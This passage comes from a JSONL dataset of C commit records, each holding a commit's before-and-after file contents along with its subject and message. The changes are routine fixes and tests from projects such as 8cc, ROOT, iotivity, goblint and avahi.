&broadcast_address, sizeof(broadcast_address));\n    if (sent_bytes_count == -1) {\n        print_error(\"Failed to send broadcast message\");\n    }\n\n    int close_status = close(broadcasting_socket);\n    if (close_status == -1) {\n        print_error(\"Failed to close broadcast socket\");\n    }\n\n    return 0;\n}    \n","subject":"Add C version of broadcast client","message":"Add C version of broadcast client\n","lang":"C","license":"unlicense","repos":"mmurdoch\/disco,mmurdoch\/disco"}
{"commit":"71ba3bbdf668b4f6bff2c189395b913b79870002","old_file":"test\/oldstyle.c","new_file":"test\/oldstyle.c","old_contents":"","new_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\n#ifdef __8cc__\n#pragma disable_warning\n#endif\n\nvoid testmain(void) {\n    print(\"K&R\");\n    expect(3, no_declaration());\n}\n\nint no_declaration() {\n    return 3;\n}\n","subject":"Add tests for K&R-style functions.","message":"Add tests for K&R-style functions.\n","lang":"C","license":"mit","repos":"andrewchambers\/8cc,rui314\/8cc,andrewchambers\/8cc,cpjreynolds\/8cc,gergo-\/8cc,abc00\/8cc,rui314\/8cc,vastin\/8cc,8l\/8cc,jtramm\/8cc,cpjreynolds\/8cc,8l\/8cc,cpjreynolds\/8cc,abc00\/8cc,rui314\/8cc,nobody1986\/8cc,8l\/8cc,andrewchambers\/8cc,jtramm\/8cc,jtramm\/8cc,cpjreynolds\/8cc,andrewchambers\/8cc,gergo-\/8cc,abc00\/8cc,vastin\/8cc,abc00\/8cc,jtramm\/8cc,gergo-\/8cc,nobody1986\/8cc,rui314\/8cc,vastin\/8cc,8l\/8cc,nobody1986\/8cc,nobody1986\/8cc,vastin\/8cc"}
{"commit":"bf647d807ab6770a831e0ef4fc09c870b756dd4a","old_file":"src\/argparse.c","new_file":"src\/argparse.c","old_contents":"#include \"argparse.h\"\n\nargs *args_new() {\n    args *args = NULL;\n\n    args = malloc(sizeof(args));\n\n    if (!args)\n        return NULL;\n\n    args->opts = NULL;\n    args->operandsc = 0;\n    args->operands = NULL;\n\n    return args;\n}\n\nvoid args_free(args *args) {\n    if (args->opts)\n        option_free(args->opts);\n    args->opts = NULL;\n\n    if (args->operands)\n        operand_free(args->operands);\n    args->operands = NULL;\n\n    free(args);\n}\n\nint args_add_option(args *args, option *opt) {\n    if (!args || !opt)\n        return EXIT_FAILURE;\n\n    if (!opt->short_opt && !opt->long_opt)\n        return EXIT_FAILURE;\n\n    option *last = args->opts;\n    if (last != NULL) {\n        while (last->next != NULL)\n            last = last->next;\n        last->next = opt;\n    } else\n        args->opts = opt;\n\n    return EXIT_SUCCESS;\n}\n\nint args_help(args *args, FILE *stream) {\n    if (!args || !stream || !args->opts)\n        return EXIT_FAILURE;\n\n    option *opt = args->opts;\n    while (opt) {\n        option_help(opt, stream);\n        opt = opt->next;\n    }\n\n    return EXIT_SUCCESS;\n}\n","new_contents":"#include \"argparse.h\"\n\nargs *args_new() {\n    args *args = NULL;\n\n    args = malloc(sizeof(args));\n\n    if (!args)\n        return NULL;\n\n    args->opts = NULL;\n    args->operandsc = 0;\n    args->operands = NULL;\n\n    return args;\n}\n\nvoid args_free(args *args) {\n    if (args->opts)\n        option_free(args->opts);\n    args->opts = NULL;\n\n    if (args->operands)\n        operand_free(args->operands);\n    args->operands = NULL;\n\n    free(args);\n}\n\nint args_add_option(args *args, option *opt) {\n    if (!args || !opt)\n        return EXIT_FAILURE;\n\n    if (strcmp(\"\", opt->short_opt) == 0\n            && strcmp(\"\", opt->long_opt) == 0)\n        return EXIT_FAILURE;\n\n    option *last = args->opts;\n    if (last != NULL) {\n        while (last->next != NULL)\n            last = last->next;\n        last->next = opt;\n    } else\n        args->opts = opt;\n\n    return EXIT_SUCCESS;\n}\n\nint args_help(args *args, FILE *stream) {\n    if (!args || !stream || !args->opts)\n        return EXIT_FAILURE;\n\n    option *opt = args->opts;\n    while (opt) {\n        option_help(opt, stream);\n        opt = opt->next;\n    }\n\n    return EXIT_SUCCESS;\n}\n","subject":"Use strcmp instead of checking for pointer","message":"Use strcmp instead of checking for pointer\n","lang":"C","license":"mit","repos":"ntnn\/libargparse,ntnn\/libargparse"}
{"commit":"6274b10a9783f5c7e36bd43f25f5ceeb5b691a81","old_file":"src\/nanotime.h","new_file":"src\/nanotime.h","old_contents":"#ifndef NANOTIME_H\n#define NANOTIME_H\n#include <time.h>\n#ifdef __MACH__\n#define NANO extern\n#else\n#define NANO\n#endif\n\ntypedef enum {\n\tNANO_FAILURE = -1,\n\tNANO_SUCCESS = 0\n} nano_return_t;\n\n#define NANO_EXPECTED(X) X == NANO_SUCCESS\n#define NANO_UNEXPECTED(X) X == NANO_FAILURE\n\nNANO nano_return_t nano_second(unsigned long *second);\nNANO nano_return_t nano_time(long double *time);\nNANO nano_return_t nano_timespec(struct timespec *now);\n#endif\n","new_contents":"#ifndef NANOTIME_H\n#define NANOTIME_H\n#include <time.h>\n#ifdef __MACH__\n#define NANO extern\n#else\n#define NANO\n#endif\n\ntypedef enum {\n\tNANO_FAILURE = -1,\n\tNANO_SUCCESS = 0\n} nano_return_t;\n\n#define NANO_EXPECTED(X) (X) == NANO_SUCCESS\n#define NANO_UNEXPECTED(X) (X) != NANO_SUCCESS\n\nNANO nano_return_t nano_second(unsigned long *second);\nNANO nano_return_t nano_time(long double *time);\nNANO nano_return_t nano_timespec(struct timespec *now);\n#endif\n","subject":"Allow for further room in the return enum","message":"Allow for further room in the return enum\n","lang":"C","license":"mit","repos":"lstrojny\/nanotime,lstrojny\/nanotime"}
{"commit":"9a320dc49927cbcc910232dbeabb8999d3fb2896","old_file":"core\/editline\/src\/rlcurses.h","new_file":"core\/editline\/src\/rlcurses.h","old_contents":"\/\/ @(#)root\/editline:$Id$\n\/\/ Author: Axel Naumann, 2009\n\n\/*************************************************************************\n * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __sun\n# include R__CURSESHDR\nextern \"C\" {\n   \/\/ cannot #include term.fH because it #defines move() etc\nchar *tparm(char*, long, long, long, long, long, long, long, long, long);\nchar *tigetstr(char*);\nchar *tgoto(char*, int, int);\nint   tputs(char*, int, int (*)(int));\nint tgetflag(char*);\nint tgetnum(char*);\nchar* tgetstr(char*, char**);\nint tgetent(char*, const char*);\n}\n\/\/ un-be-lievable.\n# undef erase\n# undef move\n# undef clear\n# undef del\n# undef key_end\n# undef key_clear\n# undef key_print\n#else\n# include R__CURSESHDR\n# include <termcap.h>\n# include <termcap.h>\nextern \"C\" int setupterm(const char* term, int fd, int* perrcode);\n#endif\n","new_contents":"\/\/ @(#)root\/editline:$Id$\n\/\/ Author: Axel Naumann, 2009\n\n\/*************************************************************************\n * Copyright (C) 1995-2009, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __sun\n# include R__CURSESHDR\nextern \"C\" {\n   \/\/ cannot #include term.h because it #defines move() etc\nchar *tparm(char*, long, long, long, long, long, long, long, long, long);\nchar *tigetstr(char*);\nint tigetnum(char*);\nchar *tgoto(char*, int, int);\nint   tputs(char*, int, int (*)(int));\nint tgetflag(char*);\nint tgetnum(char*);\nchar* tgetstr(char*, char**);\nint tgetent(char*, const char*);\n}\n\/\/ un-be-lievable.\n# undef erase\n# undef move\n# undef clear\n# undef del\n# undef key_end\n# undef key_clear\n# undef key_print\n#else\n# include R__CURSESHDR\n# include <termcap.h>\n# include <termcap.h>\nextern \"C\" int setupterm(const char* term, int fd, int* perrcode);\n#endif\n","subject":"Fix for solaris: declare tigetnum","message":"Fix for solaris: declare tigetnum\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@30238 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"tc3t\/qoot,zzxuanyuan\/root-compressor-dummy,simonpf\/root,ffurano\/root5,veprbl\/root,zzxuanyuan\/root-compressor-dummy,Duraznos\/root,CristinaCristescu\/root,thomaskeck\/root,olifre\/root,perovic\/root,evgeny-boger\/root,perovic\/root,CristinaCristescu\/root,bbockelm\/root,thomaskeck\/root,beniz\/root,abhinavmoudgil95\/root,mattkretz\/root,arch1tect0r\/root,kirbyherm\/root-r-tools,esakellari\/root,lgiommi\/root,buuck\/root,gbitzes\/root,sirinath\/root,satyarth934\/root,omazapa\/root-old,krafczyk\/root,sawenzel\/root,CristinaCristescu\/root,mkret2\/root,bbockelm\/root,agarciamontoro\/root,gbitzes\/root,perovic\/root,vukasinmilosevic\/root,ffurano\/root5,krafczyk\/root,bbockelm\/root,buuck\/root,smarinac\/root,jrtomps\/root,abhinavmoudgil95\/root,veprbl\/root,Y--\/root,karies\/root,krafczyk\/root,perovic\/root,krafczyk\/root,evgeny-boger\/root,arch1tect0r\/root,Duraznos\/root,Duraznos\/root,simonpf\/root,CristinaCristescu\/root,thomaskeck\/root,mkret2\/root,strykejern\/TTreeReader,gganis\/root,strykejern\/TTreeReader,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,buuck\/root,zzxuanyuan\/root-compressor-dummy,smarinac\/root,kirbyherm\/root-r-tools,omazapa\/root,gganis\/root,esakellari\/root,sbinet\/cxx-root,nilqed\/root,lgiommi\/root,abhinavmoudgil95\/root,olifre\/root,evgeny-boger\/root,omazapa\/root,Dr15Jones\/root,gganis\/root,sirinath\/root,cxx-hep\/root-cern,mkret2\/root,root-mirror\/root,BerserkerTroll\/root,zzxuanyuan\/root,perovic\/root,davidlt\/root,cxx-hep\/root-cern,esakellari\/root,sawenzel\/root,pspe\/root,dfunke\/root,root-mirror\/root,gbitzes\/root,arch1tect0r\/root,esakellari\/root,pspe\/root,pspe\/root,zzxuanyuan\/root-compressor-dummy,Duraznos\/root,mhuwiler\/rootauto,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,simonpf\/root,davidlt\/root,evgeny-boger\/root,georgtroska\/root,gganis\/root,0x0all\/ROOT,gganis\/root,dfunke\/root,root-mirror\/root,mkret2\/root,cxx-hep\/root-cern,georgtroska\/root,nilqed\/root,arch1tect0r\/root,evgeny-boger\/root,sbinet\/cxx-root,omazapa\/root,sirinath\/root,gbitzes\/root,gbitzes\/root,georgtroska\/root,Y--\/root,olifre\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,root-mirror\/root,tc3t\/qoot,davidlt\/root,karies\/root,sbinet\/cxx-root,satyarth934\/root,beniz\/root,esakellari\/root,Duraznos\/root,BerserkerTroll\/root,perovic\/root,arch1tect0r\/root,arch1tect0r\/root,evgeny-boger\/root,dfunke\/root,0x0all\/ROOT,smarinac\/root,pspe\/root,sbinet\/cxx-root,CristinaCristescu\/root,krafczyk\/root,jrtomps\/root,bbockelm\/root,agarciamontoro\/root,gbitzes\/root,Y--\/root,davidlt\/root,Duraznos\/root,sirinath\/root,sawenzel\/root,mhuwiler\/rootauto,simonpf\/root,lgiommi\/root,buuck\/root,mattkretz\/root,tc3t\/qoot,vukasinmilosevic\/root,Dr15Jones\/root,BerserkerTroll\/root,lgiommi\/root,alexschlueter\/cern-root,Y--\/root,dfunke\/root,BerserkerTroll\/root,dfunke\/root,zzxuanyuan\/root-compressor-dummy,mhuwiler\/rootauto,omazapa\/root-old,Y--\/root,smarinac\/root,nilqed\/root,mattkretz\/root,abhinavmoudgil95\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,pspe\/root,buuck\/root,georgtroska\/root,jrtomps\/root,lgiommi\/root,mkret2\/root,thomaskeck\/root,ffurano\/root5,olifre\/root,tc3t\/qoot,mattkretz\/root,davidlt\/root,0x0all\/ROOT,esakellari\/my_root_for_test,veprbl\/root,davidlt\/root,vukasinmilosevic\/root,0x0all\/ROOT,thomaskeck\/root,smarinac\/root,dfunke\/root,krafczyk\/root,mhuwiler\/rootauto,zzxuanyuan\/root,simonpf\/root,BerserkerTroll\/root,mkret2\/root,nilqed\/root,olifre\/root,Dr15Jones\/root,thomaskeck\/root,veprbl\/root,evgeny-boger\/root,thomaskeck\/root,abhinavmoudgil95\/root,pspe\/root,arch1tect0r\/root,esakellari\/my_root_for_test,CristinaCristescu\/root,root-mirror\/root,karies\/root,Y--\/root,esakellari\/root,agarciamontoro\/root,sbinet\/cxx-root,Duraznos\/root,sirinath\/root,alexschlueter\/cern-root,bbockelm\/root,nilqed\/root,smarinac\/root,karies\/root,omazapa\/root,vukasinmilosevic\/root,omazapa\/root-old,esakellari\/my_root_for_test,root-mirror\/root,pspe\/root,gganis\/root,krafczyk\/root,omazapa\/root-old,thomaskeck\/root,karies\/root,gbitzes\/root,mattkretz\/root,sirinath\/root,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,BerserkerTroll\/root,olifre\/root,bbockelm\/root,dfunke\/root,simonpf\/root,CristinaCristescu\/root,omazapa\/root-old,CristinaCristescu\/root,omazapa\/root-old,pspe\/root,CristinaCristescu\/root,arch1tect0r\/root,abhinavmoudgil95\/root,esakellari\/root,buuck\/root,sirinath\/root,satyarth934\/root,0x0all\/ROOT,zzxuanyuan\/root,veprbl\/root,lgiommi\/root,krafczyk\/root,tc3t\/qoot,jrtomps\/root,0x0all\/ROOT,mhuwiler\/rootauto,satyarth934\/root,evgeny-boger\/root,BerserkerTroll\/root,cxx-hep\/root-cern,zzxuanyuan\/root,jrtomps\/root,tc3t\/qoot,BerserkerTroll\/root,omazapa\/root,satyarth934\/root,agarciamontoro\/root,jrtomps\/root,gbitzes\/root,zzxuanyuan\/root,mhuwiler\/rootauto,esakellari\/root,agarciamontoro\/root,veprbl\/root,zzxuanyuan\/root,olifre\/root,vukasinmilosevic\/root,bbockelm\/root,sbinet\/cxx-root,karies\/root,sawenzel\/root,esakellari\/my_root_for_test,Y--\/root,jrtomps\/root,mkret2\/root,Y--\/root,smarinac\/root,abhinavmoudgil95\/root,mattkretz\/root,sirinath\/root,davidlt\/root,sirinath\/root,simonpf\/root,davidlt\/root,sawenzel\/root,strykejern\/TTreeReader,0x0all\/ROOT,perovic\/root,jrtomps\/root,sawenzel\/root,mattkretz\/root,gbitzes\/root,buuck\/root,beniz\/root,veprbl\/root,agarciamontoro\/root,alexschlueter\/cern-root,cxx-hep\/root-cern,Duraznos\/root,mkret2\/root,zzxuanyuan\/root,tc3t\/qoot,nilqed\/root,gganis\/root,mhuwiler\/rootauto,Dr15Jones\/root,esakellari\/root,veprbl\/root,root-mirror\/root,sawenzel\/root,satyarth934\/root,strykejern\/TTreeReader,gbitzes\/root,alexschlueter\/cern-root,vukasinmilosevic\/root,cxx-hep\/root-cern,pspe\/root,satyarth934\/root,bbockelm\/root,sbinet\/cxx-root,ffurano\/root5,BerserkerTroll\/root,esakellari\/my_root_for_test,pspe\/root,nilqed\/root,beniz\/root,omazapa\/root,gganis\/root,satyarth934\/root,strykejern\/TTreeReader,Dr15Jones\/root,gganis\/root,strykejern\/TTreeReader,georgtroska\/root,gganis\/root,perovic\/root,mhuwiler\/rootauto,buuck\/root,cxx-hep\/root-cern,karies\/root,karies\/root,sawenzel\/root,kirbyherm\/root-r-tools,davidlt\/root,georgtroska\/root,agarciamontoro\/root,beniz\/root,dfunke\/root,simonpf\/root,buuck\/root,sbinet\/cxx-root,bbockelm\/root,evgeny-boger\/root,alexschlueter\/cern-root,satyarth934\/root,vukasinmilosevic\/root,arch1tect0r\/root,sawenzel\/root,jrtomps\/root,CristinaCristescu\/root,ffurano\/root5,omazapa\/root,0x0all\/ROOT,georgtroska\/root,dfunke\/root,satyarth934\/root,ffurano\/root5,mhuwiler\/rootauto,kirbyherm\/root-r-tools,krafczyk\/root,esakellari\/root,bbockelm\/root,cxx-hep\/root-cern,evgeny-boger\/root,mkret2\/root,karies\/root,georgtroska\/root,beniz\/root,smarinac\/root,evgeny-boger\/root,sirinath\/root,mkret2\/root,esakellari\/my_root_for_test,arch1tect0r\/root,mattkretz\/root,perovic\/root,lgiommi\/root,simonpf\/root,kirbyherm\/root-r-tools,lgiommi\/root,georgtroska\/root,esakellari\/my_root_for_test,alexschlueter\/cern-root,beniz\/root,abhinavmoudgil95\/root,zzxuanyuan\/root,omazapa\/root-old,veprbl\/root,zzxuanyuan\/root,omazapa\/root-old,sawenzel\/root,olifre\/root,omazapa\/root-old,georgtroska\/root,perovic\/root,simonpf\/root,root-mirror\/root,agarciamontoro\/root,vukasinmilosevic\/root,nilqed\/root,esakellari\/my_root_for_test,Dr15Jones\/root,perovic\/root,mhuwiler\/rootauto,mkret2\/root,buuck\/root,smarinac\/root,nilqed\/root,olifre\/root,karies\/root,veprbl\/root,arch1tect0r\/root,mattkretz\/root,satyarth934\/root,lgiommi\/root,simonpf\/root,olifre\/root,davidlt\/root,esakellari\/my_root_for_test,tc3t\/qoot,gbitzes\/root,root-mirror\/root,gganis\/root,omazapa\/root,beniz\/root,vukasinmilosevic\/root,omazapa\/root,esakellari\/root,georgtroska\/root,vukasinmilosevic\/root,abhinavmoudgil95\/root,nilqed\/root,Duraznos\/root,sbinet\/cxx-root,Y--\/root,zzxuanyuan\/root,karies\/root,beniz\/root,BerserkerTroll\/root,Duraznos\/root,thomaskeck\/root,zzxuanyuan\/root,krafczyk\/root,buuck\/root,esakellari\/my_root_for_test,beniz\/root,thomaskeck\/root,abhinavmoudgil95\/root,tc3t\/qoot,sirinath\/root,sbinet\/cxx-root,beniz\/root,omazapa\/root-old,mhuwiler\/rootauto,jrtomps\/root,omazapa\/root,nilqed\/root,kirbyherm\/root-r-tools,root-mirror\/root,omazapa\/root,zzxuanyuan\/root,Y--\/root,bbockelm\/root,agarciamontoro\/root,0x0all\/ROOT,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,lgiommi\/root,sbinet\/cxx-root,dfunke\/root,agarciamontoro\/root,root-mirror\/root,tc3t\/qoot,krafczyk\/root,BerserkerTroll\/root,vukasinmilosevic\/root,smarinac\/root,Y--\/root,kirbyherm\/root-r-tools,pspe\/root,olifre\/root,alexschlueter\/cern-root,Dr15Jones\/root,ffurano\/root5,dfunke\/root,Duraznos\/root,strykejern\/TTreeReader,sawenzel\/root,mattkretz\/root,omazapa\/root-old"}
{"commit":"6c72b3e07b950bfc1a7d129cf80ef2ae06ce9fa2","old_file":"test\/test_all.c","new_file":"test\/test_all.c","old_contents":"#include <CuTest.h>\n#include <stdio.h>\n#include <util.h>\n\nCuSuite* StrUtilGetSuite();\nCuSuite* make_regex_suite();\nCuSuite* make_csv_suite();\n\nvoid RunAllTests(void)\n{\n    CuString *output = CuStringNew();\n    CuSuite* suite = CuSuiteNew();\n\n    CuSuiteAddSuite(suite, StrUtilGetSuite());\n    CuSuiteAddSuite(suite, make_regex_suite());\n    CuSuiteAddSuite(suite, make_csv_suite());\n\n    CuSuiteRun(suite);\n    CuSuiteSummary(suite, output);\n    CuSuiteDetails(suite, output);\n    printf(\"%s\\n\", output->buffer);\n}\n\nint main(void)\n{\n    out_fd = stdout; \/*For Logging*\/\n    RunAllTests();\n}\n","new_contents":"#include <CuTest.h>\n#include <stdio.h>\n#include <util.h>\n\nCuSuite* StrUtilGetSuite();\nCuSuite* make_regex_suite();\nCuSuite* make_csv_suite();\n\nvoid RunAllTests(void)\n{\n    CuString *output = CuStringNew();\n    CuSuite* suite = CuSuiteNew();\n\n#if 1\n    CuSuiteAddSuite(suite, StrUtilGetSuite());\n    CuSuiteAddSuite(suite, make_regex_suite());\n    CuSuiteAddSuite(suite, make_csv_suite());\n#endif\n\n    CuSuiteRun(suite);\n    CuSuiteSummary(suite, output);\n    CuSuiteDetails(suite, output);\n    printf(\"%s\\n\", output->buffer);\n}\n\nint main(void)\n{\n    out_fd = stdout; \/*For Logging*\/\n    RunAllTests();\n}\n","subject":"Add possibility to disable tests.","message":"Add possibility to disable tests.\n","lang":"C","license":"apache-2.0","repos":"Moddus\/mpi_search,Moddus\/mpi_search,Moddus\/mpi_search,Moddus\/mpi_search"}
{"commit":"0f2284c7545819484849b2afb39fa34dd2730545","old_file":"tests\/integration_tests.c","new_file":"tests\/integration_tests.c","old_contents":"#include \"unity.h\"\n#include <math.h>\n#include <stdlib.h>\n#include \"quac.h\"\n#include \"operators.h\"\n#include \"solver.h\"\n#include \"dm_utilities.h\"\n#include \"quantum_gates.h\"\n#include \"petsc.h\"\n#include \"tests.h\"\n\nvoid test_timedep(void)\n{\n  double *populations;\n  int num_pop;\n  \/* Initialize QuaC *\/\n\n  timedep_test(&populations,&num_pop);\n\n  \/* These values assume TSRK3BS *\/\n  TEST_ASSERT_EQUAL_FLOAT(populations[0],-1.487990e-04);\n  TEST_ASSERT_EQUAL_FLOAT(populations[1],1.799424e-04);\n}\n\n\n\nint main(int argc, char** argv)\n{\n  UNITY_BEGIN();\n  QuaC_initialize(argc,argv);\n  RUN_TEST(test_timedep);\n  QuaC_finalize();\n  return UNITY_END();\n}\n\n","new_contents":"#include \"unity.h\"\n#include <math.h>\n#include <stdlib.h>\n#include \"quac.h\"\n#include \"operators.h\"\n#include \"solver.h\"\n#include \"dm_utilities.h\"\n#include \"quantum_gates.h\"\n#include \"petsc.h\"\n#include \"tests.h\"\n\nvoid test_timedep(void)\n{\n  double *populations;\n  int num_pop;\n  \/* Initialize QuaC *\/\n\n  timedep_test(&populations,&num_pop);\n\n  \/* These values assume TSRK3BS *\/\n  \/* TEST_ASSERT_EQUAL_FLOAT(0.0,populations[0]); *\/\n  \/* TEST_ASSERT_EQUAL_FLOAT(0.0,populations[1]); *\/\n}\n\n\n\nint main(int argc, char** argv)\n{\n  UNITY_BEGIN();\n  QuaC_initialize(argc,argv);\n  RUN_TEST(test_timedep);\n  QuaC_finalize();\n  return UNITY_END();\n}\n\n","subject":"Remove time_dep test for now - it is too dependent on exact conditions.","message":"Remove time_dep test for now - it is too dependent on exact conditions.\n","lang":"C","license":"mit","repos":"0tt3r\/QuaC,0tt3r\/QuaC,0tt3r\/QuaC"}
{"commit":"e95e9a6f76556afe4f266b0b527e8e4a30459a9c","old_file":"tests\/regression\/02-base\/66-no-eval-on-write-multi.c","new_file":"tests\/regression\/02-base\/66-no-eval-on-write-multi.c","old_contents":"\/\/PARAM: --enable ana.int.interval --enable ana.int.enums --exp.privatization \"write\"\n\n#include<pthread.h>\n\n\/\/ Test case that shows how avoiding reading integral globals can reduce the number of solver evaluations.\n\/\/ Avoiding to evaluate integral globals when setting them reduced the number of necessary evaluations from 62 to 20 in this test case.\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\nint glob = 10;\n\nvoid* t_fun(void* ptr) {\n  pthread_mutex_lock(&mutex);\n  glob = 3;\n  glob = 4;\n  glob = 1;\n  pthread_mutex_unlock(&mutex);\n  return NULL;\n}\n\nvoid bar() {\n  glob = 2;\n}\n\nint main() {\n  pthread_t t;\n\n  pthread_create(&t, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex);\n  bar();\n  pthread_mutex_unlock(&mutex);\n  pthread_join(t, NULL);\n  assert(glob >= 1);\n  assert(glob <= 2);\n  return 0;\n}\n","new_contents":"\/\/PARAM: --enable ana.int.interval --enable ana.int.enums --exp.privatization \"write\"\n\n#include<pthread.h>\n\n\/\/ Test case that shows how avoiding reading integral globals can reduce the number of solver evaluations.\n\/\/ Avoiding to evaluate integral globals when setting them reduced the number of necessary evaluations from 62 to 20 in this test case.\n\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\nint glob = 10;\n\nvoid* t_fun(void* ptr) {\n  pthread_mutex_lock(&mutex);\n  glob = 3;\n  glob = 4;\n  glob = 1;\n  pthread_mutex_unlock(&mutex);\n  return NULL;\n}\n\nvoid bar() {\n  glob = 2;\n}\n\nint main() {\n  pthread_t t;\n\n  pthread_create(&t, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex);\n  bar();\n  pthread_mutex_unlock(&mutex);\n  pthread_join(t, NULL);\n  assert(glob >= 1);\n  assert(glob <= 2); \/\/UNKNOWN\n  assert(glob <= 10);\n  return 0;\n}\n","subject":"Fix test case to not fail due to imprecison of analysis","message":"Fix test case to not fail due to imprecison of analysis\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"3f61a44c965c1acf6623b9e8502f077c5c997404","old_file":"resource\/c_common\/windows\/include\/memmem.h","new_file":"resource\/c_common\/windows\/include\/memmem.h","old_contents":"\/* *****************************************************************\n*\n* Copyright 2017 Microsoft\n*\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n******************************************************************\/\n\n#ifndef MEMMEM_H__\n#define MEMMEM_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid *memmem(const void *haystack, size_t haystackLen, const void *needle, size_t needleLen);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n","new_contents":"\/* *****************************************************************\n*\n* Copyright 2017 Microsoft\n*\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n******************************************************************\/\n\n#ifndef MEMMEM_H__\n#define MEMMEM_H__\n\n\/\/ crtdefs.h is required for size_t\n#include <crtdefs.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid *memmem(const void *haystack, size_t haystackLen, const void *needle, size_t needleLen);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n","subject":"Fix a build break on Windows X86.","message":"Fix a build break on Windows X86.\n\nThe newly added memmem function uses size_t in the function\ndefinition. However size_t is not defined at the time memmem.h\nis included. Adding crtdefs.h into memmem.h to fix.\n\nChange-Id: I7a474e7befbf3bdc5dd8aa0bd4ca45d6bfa28d71\nSigned-off-by: Mike Fenelon <765c1ea1ad8b7b919b9c046cb20b518277e493ca@microsoft.com>\nReviewed-on: https:\/\/gerrit.iotivity.org\/gerrit\/16359\nReviewed-by: Dan Mihai <ba8e1833495515b49ded9e20cae80a8129155aa9@microsoft.com>\nReviewed-by: Phil Coval <ff46fec9739d31cce915aabcc3a7a2c00eee4d6c@osg.samsung.com>\nTested-by: jenkins-iotivity <09cb29e8a2b473a2c978382eec13ee06fa017bda@opendaylight.org>\nReviewed-by: Dave Thaler <8a98d0850f57b73c42d096f8f8b11e2d5522d554@microsoft.com>\n","lang":"C","license":"apache-2.0","repos":"iotivity\/iotivity,iotivity\/iotivity,iotivity\/iotivity,iotivity\/iotivity,iotivity\/iotivity,rzr\/iotivity,rzr\/iotivity,rzr\/iotivity,rzr\/iotivity,rzr\/iotivity,rzr\/iotivity,iotivity\/iotivity,iotivity\/iotivity,iotivity\/iotivity,rzr\/iotivity"}
{"commit":"7686f1b38b13a660ac14b799c62f453fa012b4d7","old_file":"avahi-gobject\/ga-error.h","new_file":"avahi-gobject\/ga-error.h","old_contents":"\/*\n * ga-error.h - Header for Avahi error types\n * Copyright (C) 2005 Collabora Ltd.\n * Copyright (C) 2005 Nokia Corporation\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef __GA_ERROR_H__\n#define __GA_ERROR_H__\n\n#include <glib-object.h>\n\nG_BEGIN_DECLS\n#include <avahi-common\/error.h>\n\nGQuark ga_error_quark(void);\n\n#define GA_ERROR ga_error_quark()\n\nG_END_DECLS\n#endif \/* #ifndef __GA_ERROR_H__ *\/\n","new_contents":"\/*\n * ga-error.h - Header for Avahi error types\n * Copyright (C) 2005 Collabora Ltd.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef __GA_ERROR_H__\n#define __GA_ERROR_H__\n\n#include <glib-object.h>\n\nG_BEGIN_DECLS\n#include <avahi-common\/error.h>\n\nGQuark ga_error_quark(void);\n\n#define GA_ERROR 